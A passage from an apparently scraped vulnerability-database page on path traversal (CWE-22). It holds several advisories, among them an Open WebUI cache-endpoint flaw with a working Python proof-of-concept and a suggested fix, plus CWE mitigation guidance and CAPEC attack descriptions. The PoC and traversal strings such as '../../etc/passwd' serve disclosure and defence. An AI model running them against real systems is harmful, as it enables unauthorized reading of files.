    "CVE-2022-39812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-27T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Italtel NetMatch-S CI 5.2.0-20211008 allows Absolute Path Traversal under NMSCI-WebGui/SaveFileUploader. An unauthenticated user can upload files to an arbitrary path. An attacker can change the uploadDir parameter in a POST request (not possible using the GUI) to an arbitrary directory. Because the application does not check in which directory a file will be uploaded, an attacker can perform a variety of attacks that can result in unauthorized access to the server.",
  "id": "GHSA-j282-vg3j-rc2j",
  "modified": "2023-02-07T18:30:16Z",
  "published": "2023-01-28T00:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39812"
    },
    {
      "type": "WEB",
      "url": "https://www.gruppotim.it/it/footer/red-team.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J2C8-V969-8R5C

Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-07-20 21:05

Summary

Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}

Details

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

Constraint	Detail
Auth required	`get_verified_user` — any user with role `user` or `admin`
Scope	Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`)
Deep traversal	Blocked — `../../etc/passwd` correctly fails the startswith check
Absolute paths	Blocked — `/etc/passwd` correctly fails
Client normalization	httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: `serve_cache_file()`

# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

Component	Detail
open-webui	0.9.5 (pip installed)
Python	3.11
Import	`from open_webui.main import app` (true import, real FastAPI app)
Method	Raw ASGI request (bypasses httpx client-side `..` normalization)

poc.py


import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

Suggested Fix

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:16:25Z",
    "nvd_published_at": "2026-06-23T18:18:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in open-webui\u0027s cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` \u2014 without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed \u2014 limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` \u2014 any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked \u2014 `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked \u2014 `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side \u2014 must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get(\u0027/cache/{path:path}\u0027)\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # \u2190 BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# \u2192 \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# \u2192 True  \u2190 BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# \u2192 False  \u2190 BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {\u0027VULNERABLE\u0027 if exploit_ok and baseline_ok and deep_blocked else \u0027NOT CONFIRMED\u0027}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.",
  "id": "GHSA-j2c8-v969-8r5c",
  "modified": "2026-07-20T21:05:21Z",
  "published": "2026-06-17T14:16:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54014"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-j2c8-v969-8r5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2736.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}"
}

GHSA-J2CF-55J7-464R

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09

Details

In NCH WebDictate v2.13 and earlier, authenticated users can abuse logprop?file=/.. path traversal to read files on the filesystem.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-37469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-25T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In NCH WebDictate v2.13 and earlier, authenticated users can abuse logprop?file=/.. path traversal to read files on the filesystem.",
  "id": "GHSA-j2cf-55j7-464r",
  "modified": "2022-05-24T19:09:06Z",
  "published": "2022-05-24T19:09:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xfml/poc/blob/main/NCH/WebDictate_2.13_LFI.md"
    },
    {
      "type": "WEB",
      "url": "https://www.nch.com.au/webdictate/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J2CV-J24W-C67W

Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2022-05-01 23:55

Details

Directory traversal vulnerability in download.php in Academic Web Tools (AWT YEKTA) 1.4.3.1, and 1.4.2.8 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the dfile parameter.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2008-2969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-07-02T17:14:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in download.php in Academic Web Tools (AWT YEKTA) 1.4.3.1, and 1.4.2.8 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the dfile parameter.",
  "id": "GHSA-j2cv-j24w-c67w",
  "modified": "2022-05-01T23:55:25Z",
  "published": "2022-05-01T23:55:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2969"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43175"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3959"
    },
    {
      "type": "WEB",
      "url": "http://www.bugreport.ir/?/44"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/493472/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29813"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
realpath() in C
getCanonicalPath() in Java
GetFullPath() in ASP.NET
realpath() or abs_path() in Perl
realpath() in PHP

Mitigation MIT-4

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17

Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1

Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Mitigation MIT-22

Architecture and Design Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation MIT-34

Architecture and Design Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Mitigation MIT-39

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Mitigation MIT-16

Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

← Back to the CWE list

CWE-22

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

Details

PoC (Files Below)

Impact

POC Files

Recommendation

Summary

Exploitation constraints

Vulnerability Details

Vulnerable function: serve_cache_file()

The bypass

Proof of Concept

Environment

poc.py

PoC output

Suggested Fix

Mitigation MIT-5.1

Mitigation MIT-15

Mitigation MIT-20.1

Mitigation MIT-4

Mitigation MIT-29

Mitigation MIT-17

Mitigation MIT-21.1

Mitigation MIT-22

Mitigation MIT-34

Mitigation MIT-39

Mitigation MIT-16

CAPEC-126: Path Traversal

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

CAPEC-76: Manipulating Web Input to File System Calls

CAPEC-78: Using Escaped Slashes in Alternate Encoding

CAPEC-79: Using Slashes in Alternate Encoding

Vulnerable function: `serve_cache_file()`